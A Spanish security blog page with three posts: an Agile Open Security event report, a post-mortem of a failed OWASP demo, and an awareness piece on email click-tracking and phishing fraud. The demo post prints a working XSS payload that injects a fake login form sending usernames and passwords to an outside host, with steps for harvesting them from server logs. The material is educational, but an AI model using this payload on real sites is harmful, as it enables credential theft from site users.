lunes, 19 de mayo de 2014

AOS BsAs 2014

Quinta vez. Recuerdo cuando propuse esta actividad hace ya tanto, tirando la idea como para que la haga otro y como me he tenido que hacer cargo, jaja.

Si algo han tenido en común estos eventos es la magra concurrencia. De todos modos, siempre han sido satisfactorios, aunque está vez como que ha alcanzado una densidad mayor, es que nunca hemos sido menos y el nivel de elaboración fue el habitual o superior.

Como en las otras ocasiones, hay mucha gente "nueva", es su primer Open Space y tuve que aclarar que mi rol había sido el de generar las condiciones, en el momento es que estamos acá el evento es de todos los presentes.

Esto nos lleva a algo que es un poco ingrato, que es que si el evento sale mal es culpa de los que lo organizan, pero si sale bien, es de todos los que participaron. Puede ser feo, pero es real y estoy de acuerdo.

Para remediar esta injusticia, es importante participar de la organización, tan poco como difundir, tanto como conseguir el lugar. Tan no funcional como conseguir comida. Convencer a alguien que sepa bien de algo particular asistir. Conseguir el "apoyo institucional", que aún no sé bien para que sirve pero igual intento.

Estoy cada vez más convencido de reducir al mínimo las necesidades para reducir al mínimo los sponsors. He escuchado en algún evento de seguridad frases parecidas a "esto le cae mal a los sponsors" frente a una persona que había sido agredida por otros integrantes del evento y reaccionó dando dos charlas, la que tenía pensada precedida de la denuncia de lo que había ocurrido. Lo paradójico es que esa primera charla mientras que por un lado provocó que dos o tres personas se levantaran y se fueran y el centenar restante aplaudiera hasta sangrar, supongo que nunca volverá a ser invitada.

Aparte, pienso que la relación con los sponsors es una importante fuerza burocratizante, pero es tema de otra entrada.

A fines prácticos, en esta ocasión como en la anterior, se ha prescindido de la lista de inscripción y al terminar ofrecí que me dieran los mails para pasar los grupos (foro agiles, agiles argentina y seguridad agile), diciendo que el sponsor estaba enfrente de ellos, SVC, y era quien había traido el tentempié.

Con respecto a la ejecución casi ni respetamos el formato Open Space. Usamos una hora de las tres disponibles jugando a Capture the Datacenter. Yo aprovechaba para tirar conceptos de SegInf cada vez que era oportuno.

Luego, hicimos el "marketplace" (no me gusta ese nombre pero es otra entrada) con una innovación. Supongo que a todos nos es familiar la sensación de desesperación cada vez que casi todas las propuestas son interesantes, ya que un multitrack provoca exclusión de temas. En esta oportunidad nos quedamos con el pan y con la torta. Implementamos una suerte de "early drop".

Recuerdo que una de las propuestas, Quiero saber de seguridad SIP, la pudimos descartar de una, ya que bastó con preguntar si alguien podía explicar algo y nadie había.


Con la otra, Conseguir trabajo en SegInf Freelance, nos pusimos a discutir y finalmente fue de hecho el unitrack cero de cinco minutos de duración. En cierto modo resultó ser síntoma de la falta de madurez en el formato de Open Space nuestra, de no poder respetar que estabamos eligiendo sin debatir. No insistí mucho pues me pone en una situación incómoda y en última instancia, hago esto para divertirme. De haber hecho los mismo con las demás propuestas el resultado hubiese sido desastroso, pero así como fué pienso que fué la situación óptima, el tema fue resuelto y no ocupó innecesariamente una sesión.

A raiz de ello, me parece que habría que generar un nuevo formato, el Lightning Chat, cuyas características serían ser la brevedad y el potencial interés para todos los participantes del evento, como una Lightning Talk, pero con debate.

Las propuestas restantes, fueron algo así como:

Programación reactiva
Tratamiento seguro de I/O
¿Hay lenguajes más seguros que otros?

¿Qué es Scrum?
Heartbleed, descripción e impacto en Open Source

Retomando la desesperación de perderse algo y aprovechando que éramos pocos, resolvimos hacer unitrack y juntar los tres primeros en la primera sesión y luego ver si llegabamos a ver los otros dos luego, poniendo heartbleed de último pues nos parecía menos interesante. No llegamos a verlo.

Al final, recapitulando sobre el evento en si y los anteriores, llegamos a dos ideas importantes:

  • Hubiésemos necesitado un poco más de tiempo.
  • Es importante que haya una mayor frecuencia, tres o cuatro veces al año.

Quedó implícito que sería importante que asistiera más gente, pero yo tuve mis dudas, pues tendríamos quizás que haber hecho el Open Space ortodoxo (si es que tal cosa existe). Pero mientras escribo recuerdo una sesión de treinta o cuarenta usando la pecera en el bar de exactas hace como cinco años y quizás mis dudas no tengan asidero.

Con respecto a la mayor frecuencia, estamos pensando en repetir, aprovechar el Agiles Argentina o ver de hacer meetups en el mismo lugar o SVC.







domingo, 11 de mayo de 2014

El error ajeno

Si hay una frase muy del mundo agile que me gusta es "hay que aprender del error". Más me gusta extenderla: "y si es del ajeno, mejor".

Otra vez el error ha sido mio, pero para vos es ajeno, así que sentate, embebete de error y llevate el botín.



En esta ocasión, en el marco del OWASP Latam Tour 2014[1] como primer bocadillo tenía que mostrar un par de vulnerabilidades de aplicaciones web compatibles con el Top Ten de OWASP[2]. Esta era mi planificación:

  • Hacer una evaluación de los asistentes (dev, sec, dev/sec), útil tambien para las charlas posteriores.
  • Mostrar XSS
  • Mostrar un error de configuración de apache
  • Mostrar un ataque combinando ambos
  • Mostrar otras vulnerabilidades según el tiempo restante
  • Invitar al Agile Open Seguridad BsAs 2014
Todo regado de abundantes referencias al Top Ten.

Para que sea más divertido y no suene como compensación y como no todo es fracaso en la vida, voy a empezar por los aciertos y luego pasaré a los errores:


  • Aprovechando que era el primero, probar que todo lo que me había propuesto, que no incluye lo que mi hizo fallar, estuviera listo.
  • Los tabs estaban nombrados.
  • Tenía mi checklist.
  • Tenía la demo lista dos semanas antes
  • Practiqué la demo.
  • Cuando llegó la falla, aunque me embargó una sensación de newbie, de ser un completo disminuido, que nunca me iban a invitar a exponer a ningún lado otra vez (que bien puede ser posible), que pasaría a ser un paria de la seguridad informática y el desarrollo agile, ni siquiera sudé. Me puse en modo despliegue en producción, esto me importa media mierda, si sale mal retrocedo y voy por otro camino, me tragué las lágrimas y seguí adelante.


¡Basta de suspenso! ¿Cúal fue el error??

No fué un error, sino varios, en orden creciente:

Primer error



Para estas actividades tengo una (la) netbook, que cada tanto al apretar el teclado de cierto modo tiene una falla de hard y el kernel se deshace la comunicación con el humano. Puedo sacar la batería o entrar por ssh a reiniciar. Esto no me puede ocurrir y por eso llevo un teclado y mouse. El problema es que esta ocasión, para aligerar la mochila llevé el genius mas cortito y liviano con layout XXXX en lugar del apple pesado con el layout YYYY correspondiente a la netbook. Puede parecer una pelotudez, pero eso provocó que en el momento de crisis, tuviera dificultades en hallar los caracteres especiales, aumentando mi confusión y perdiendo tiempo.

Segundo error


Normalmente me hago una checklist que voy tachando durante el transcurso de la charla. Esta charla de tres o cuatro ejemplos está basada en una actividad de ocho. La checklist que tenía incluía la checklist que realmente iba a hacer.

Tercer error


No me di cuenta que veinticinco minutos no es la mitad de cincuenta, es mucho menos. Un curso de varias horas puede estar plagado de pequeños errores que se pueden resolver en el momento o incluso se pueden aprovechar para mejorar la explicación. Cuanto más corto el tiempo, más importante es que no falle nada.



Último error, o sea, el primero, pues es una lista creciente


Una y otra vez he visto demos que fallan, ocurre siempre, es muy triste pero es normal. Una demo es algo mucho más vivo que pasar slides o videos e ir hablando encima. Es la diferencia entre el cine y el teatro.

En una de esas tantas demos que fallaron, vi un recurso muy sencillo, que es combinar el teatro con el cine y consiste en tener la parte crítica de la demo ya grabada. Es menos creible, pero llegado el caso te salva.

Las demos que hago suelen ser muy retorcidas. La de TDSD por ejemplo, la terminé de entender recien la cuarta vez al exponerla en Agiles 2011[3]. Aún así le pedí a un asistente conocido, Sergio G., que me ayudara a mantener el rumbo. Esta demo es una versión simplificada, fácilmente grabable.

Una aclaración: yo llamo demo a lo que hice, pero para mí el espíritu real de una demo es un 0day, BEAST, CRIME, algo donde el objetivo es mostrar un descubrimiento, un invento, algo cualitativo. Mi exposición es meramente educativa, daba lo mismo XSS, CSRF o SQLi, no había nada nuevo, quizás para algún asistente era nueva la idea de combinar XSS y el log de apache, pero no para la comunidad.



Resta preguntar por qué no grabé. Muy sencillo, por el mismo motivo que no se aplica seguridad en los proyectos: economía. Estaba (estoy) bajo una sobrecarga de actividad y tengo que priorizar, a veces mal.

La falla

Cuando iba a combinar el ataque de XSS con la falla de configuración de apache, no pude encontrar el ataque en javascript. Así de fácil. Me perdí en la checklist, me perdí en los branches de git, no tenía tiempo para reescribirlo. Fue tan abrumador que durante medio minuto ni pude ocultar mi desesperación. Al final escribí en la url el resultado del ataque. Luego alguien hizo un comentario largo, tuve tiempo de volver para atras y lo encontré pero ya no tenía tiempo y ahí vino...


La yapa


Puse el código en pantalla y expliqué que hubiera hecho. Me hubiese llevado el mismo tiempo hacer el ataque y no estaríamos aquí. Lo peor, es que la ruta del ataque en el sistema de archivos estaba claramente escrita en mi checklist y no la pude ver hasta que era tarde.


La conclusión


Si hubiera hecho bien la checklist, si hubiera grabado la demo, habría pasado menos vergüenza y en el mundo del que gana y pierde hubiese ganado. Pero no hubiese escrito esta entrada y todos ustedes que asistieron a la charla no estarían gananado esto, volvemos otra vez a que el error enriquece, mucho mejor el error ajeno.



Muy interesante todo, muy poético, muy sensible, igual lo que nos importa es ese código que nos mostraste pero no vimos en acción y querríamos probar en casa.

Ok, ok, acá esta


<script>
  $("body").append($("<style/>", {text : '#login { background-color:#FFFFFF; border:1px solid #999999; margin-top: 15px; position:absolute; text-align:left; width:394px; z-index:50; padding: 25px 25px 20px; } '}));
  var html= '<div id="login"> Para seguir operando, reingrese sus credenciales: <form method="get" id="trampa" action="http://good.com/image.png"> <p>Usuario:<input type="text" name="usuario" /></p> <p>Clave<input type="password" name="clave"  /></p> <p><input type="submit" value="Reingresar"/></p> </form> </div>';
  $("body").append(html);
</script>



Repasemos, primero el login.



Luego enviamos el mensaje, cualquier cosa en este caso pues hay validación client side de 50 caracteres.


Acá podemos ver el log




Con tamper data modificamos el mensaje


Aparece el falso login



Y finalmente las credenciales en el log




Para armar la demo, es importante tener sólo XSS en el sitio, pues ese texto rompe un sitio con SQLi por las comillas simples.


Si se está usando un post para poner el XSS, ojo al tamaño máximo en la validación client side. Si el campo en la tabla tiene un tamaño máximo insuficiente, puede fallar.

Para evitar todo esto, se puede hacer con XSS reflejado y el sitio modelo se reduce a tirar un mensaje de error no sanitizado.

Hace falta que el sitio modelo atacado tenga jquery.

Cualquier duda, a tu disposición.

[1] https://www.owasp.org/index.php/LatamTour2014#tab=ARGENTINA
[2] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
[3] http://seguridad-agile.blogspot.com/2011/10/agiles-2011-dia-1.html

jueves, 8 de mayo de 2014

Los tres clicks


Uno de estos días recibí una invitación para una charla del tema de agiles. Lo que me llamó la atención es que todos los links de incripción, contacto y reenviar a un amigo eran a una dirección con esta forma:

http://t.ymlp286.net/XXXXXXXXXXXXXXXXXXXXX/click.php


donde XXXXX son secuencias de letras sin sentido, ya volveremos sobre esas letras sin sentido.

Como la charla me interesaba, busqué por otro lado el sitio de la institución que la dictaba y logré encontrar las referencias a la charla y el sistema de inscripción.

El problema al haber utilizado este sistema de campañas, es que pudo haberlo hecho cualquiera ajeno a la institución, con el objetivo de obtener direcciones calificadas para spam, información sensible utilizable en phishing o incluso, con un poco de atrevimiento, información de tarjeta de crédito.


Las letras sin sentido


Esas secuencias de letras sin sentido sirven como identificador ante un sitio web. Si se ha enviado a cada dirección una secuencia distinta, al hacer uno el primer click está revelando desde que dirección de mail se accede, dándole al atacante esta información:

  • el mail es válido
  • una persona lo lee
  • a esa persona le interesa el tema
  • esa persona no mira donde hace click

La implementación es sencilla: se crea una regla que redirija internamente todo lo que termine en click.php a un click.php real.

http://t.ymlp286.net/sdfkenskf/click.php -> http://t.ymlp286.net/click.php

Lo interesante es que click.php se fija cual fue la url con la que fué invocado y obtiene las letras sin sentido, que busca en la base de datos:

    Id         mail               hizo click?
    sdfkenskf  victima1@email.com no
    ekdkrkesr  victima2@email.com no


Ahora sabe que hizo click

    Id         mail               hizo click?
    sdfkenskf  victima1@email.com si
    ekdkrkesr  victima2@email.com no


Este método de rastrear direcciones de mail no necesariamente corresponde a un ataque, es simplemente una valorización de una base de datos de contactos, de la cual alguien sacará provecho así que siempre es, de un modo u otro, un ataque, lo siento, me estaba contradiciendo. No olvides que si no lo estás pagando, entonces vos sos el producto[1].

Si esa persona además hace el segundo click y procede a inscribirse, revela la siguiente información:

  • quizás otro mail
  • nombre y apellido
  • dni
  • telefono(s)
  • empresa
  • actividad
  • ¿estaría interesado en la oferta que no podrá rechazar con respecto a una actividad arancelada?

El atacante toma nota de esta información y haciéndose pasar por la víctima, se inscribe en el sistema real, con lo cual ni la víctima ni la entidad organizadora nota nada extraño.

Si la persona además hace el tercer click, "estaría interesado en la oferta que no podrá rechazar con respecto a una actividad arancelada", a la brevedad es contactada por una promotora telefónicamente o recibe de una dirección de mail con aspecto profesional una oferta especial para pagar utilizando su tarjeta de crédito... ¿sigo?

El costo del ataque es:
  • buscar un evento y en unas pocas horas armar un sitio y configurar el servicio con una estética acorde
  • obtener una lista de personas potencialmente interesadas
  • estar atento un tiempo esperando a que caigan las víctimas
  • sacar el dinero del sistema bancario antes que lleguen los reclamos de los estafados a la institución, que es otro tema que no corresponde a este blog


Cuando hace pocos dias un muchacho alertó sobre la vulnerabilidad de movistar, se armó una cierta polémica acerca de la "revelación responsable", o sea, si avisar a todo el mundo que existe el problema alertando tambien a potenciales atacantes o ser más discreto y avisar sólo al responsable y darle tiempo a corregir.

En el caso de movistar, la difusión provocó que durante un día se pudiera invadir la privacidad de los clientes de movistar y tambien que se resolviera en un día. La persona que difundió asumió que ya había informado, pero dado su desconocimiento y falta de criterio en como informar, de hecho no informó. Como que torpe pero buen intencionado. Lamentablemente, difundió la noticia en una lista de seguridad y nadie, incluyéndome, tuvo el acierto de señalarle su error antes de que se difundiera a los medios.

Volviendo a este caso, yo no puedo saber si es un ataque o no, así que consulté a la organización. Tenía el problema de la prisa, pues si no me contestaban con celeridad, me vería obligado a avisar a las personas que pudieran haber recibido el mail antes de que fueran víctimas. En ese caso hubiese corrido el riesgo de que no fuera un ataque y me restara credibilidad para futuros anuncios.

Afortunadamente, la respuesta llegó a tiempó, no era un ataque, guarden las pistolas, circulen.

Desde el punto de vista institucional, me parece una mala práctica utilizar estos servicios contando con infraestructura propia. Obviamente, la elección está dictada por factores económicos, es mucho más barato si no gratuito usarlas, frente al costo administrativo de utilizar un sistema propio.

En última instancia, lo veo como una transferencia del riesgo a nosotros y se nos educa en que este es un comportamiento válido y normal, abonándose el terreno para futuras estafas. Fijate que en el escenario de ataque que presenté, la institución no resulta damnificada.

-¿Por qué no me acreditaron el pago de XXX?
-Por que nada hemos recibido
-¿Cómo, si yo pagué por este medio/me contacté con tal/me habló tal?
-No fuimos nosotros (mientras se escucha de fondo entre risas: "hay gente que es tarada, no?")
-¿Y cómo puedo saber a quién le estoy pagando?"

Ahí es cuando la imagen se congela y aparece el vende humo.
-Para estar protegido, es fundamental plin, plin, plin, pague aquí.


Defensa Personal Informática

Las soluciones técnicas sólo pueden ser implementadas por quienes proveen los servicios y con un costo, lo cual ya nos sugiere que tanto pueden ocurrir.

No hay ninguna garantía, pero si sabemos, disminuimos las probabilidades de caer en un ataque directo, si comprendemos como se difunde nuestra información y como escapa a nuestro control, quizás si podamos controlar que no se difunda, al menos voluntariamente.

Este blog en general esta impregnado con esa tematica. En particular he escrito acerca de privacidad [2][3][4][5], de diversos leaks[6][7] y estoy experimentando con escolares[8][9], de explicarles como funciona Internet sin decirles que hacer y que no hacer, pero no sé si servirá de algo, no tengo con qué medir.

En última instancia, lo único que nos defiende es nuestro buen criterio y experiencia, pero el primer click ya lo hicimos.

[1] http://www.forbes.com/sites/marketshare/2012/03/05/if-youre-not-paying-for-it-you-become-the-product/
[2] http://seguridad-agile.blogspot.com/2014/02/medidas-contra-el-anonimato.html
[3] http://seguridad-agile.blogspot.com/2014/02/medidas-contra-el-anonimato.html
[4] http://seguridad-agile.blogspot.com/2014/02/proveyendo-anonimato.html
[5] http://seguridad-agile.blogspot.com/2012/07/privacidad-y-buenas-intenciones.html
[6] http://seguridad-agile.blogspot.com/2013/11/leak-adobe.html
[7] http://seguridad-agile.blogspot.com/2013/05/leak-mortal.html
[8] http://seguridad-agile.blogspot.com/2012/11/privacidad-en-internet-para-escolares.html
[9] http://seguridad-agile.blogspot.com/2014/04/privacidad-en-internet-para-escolares_22.html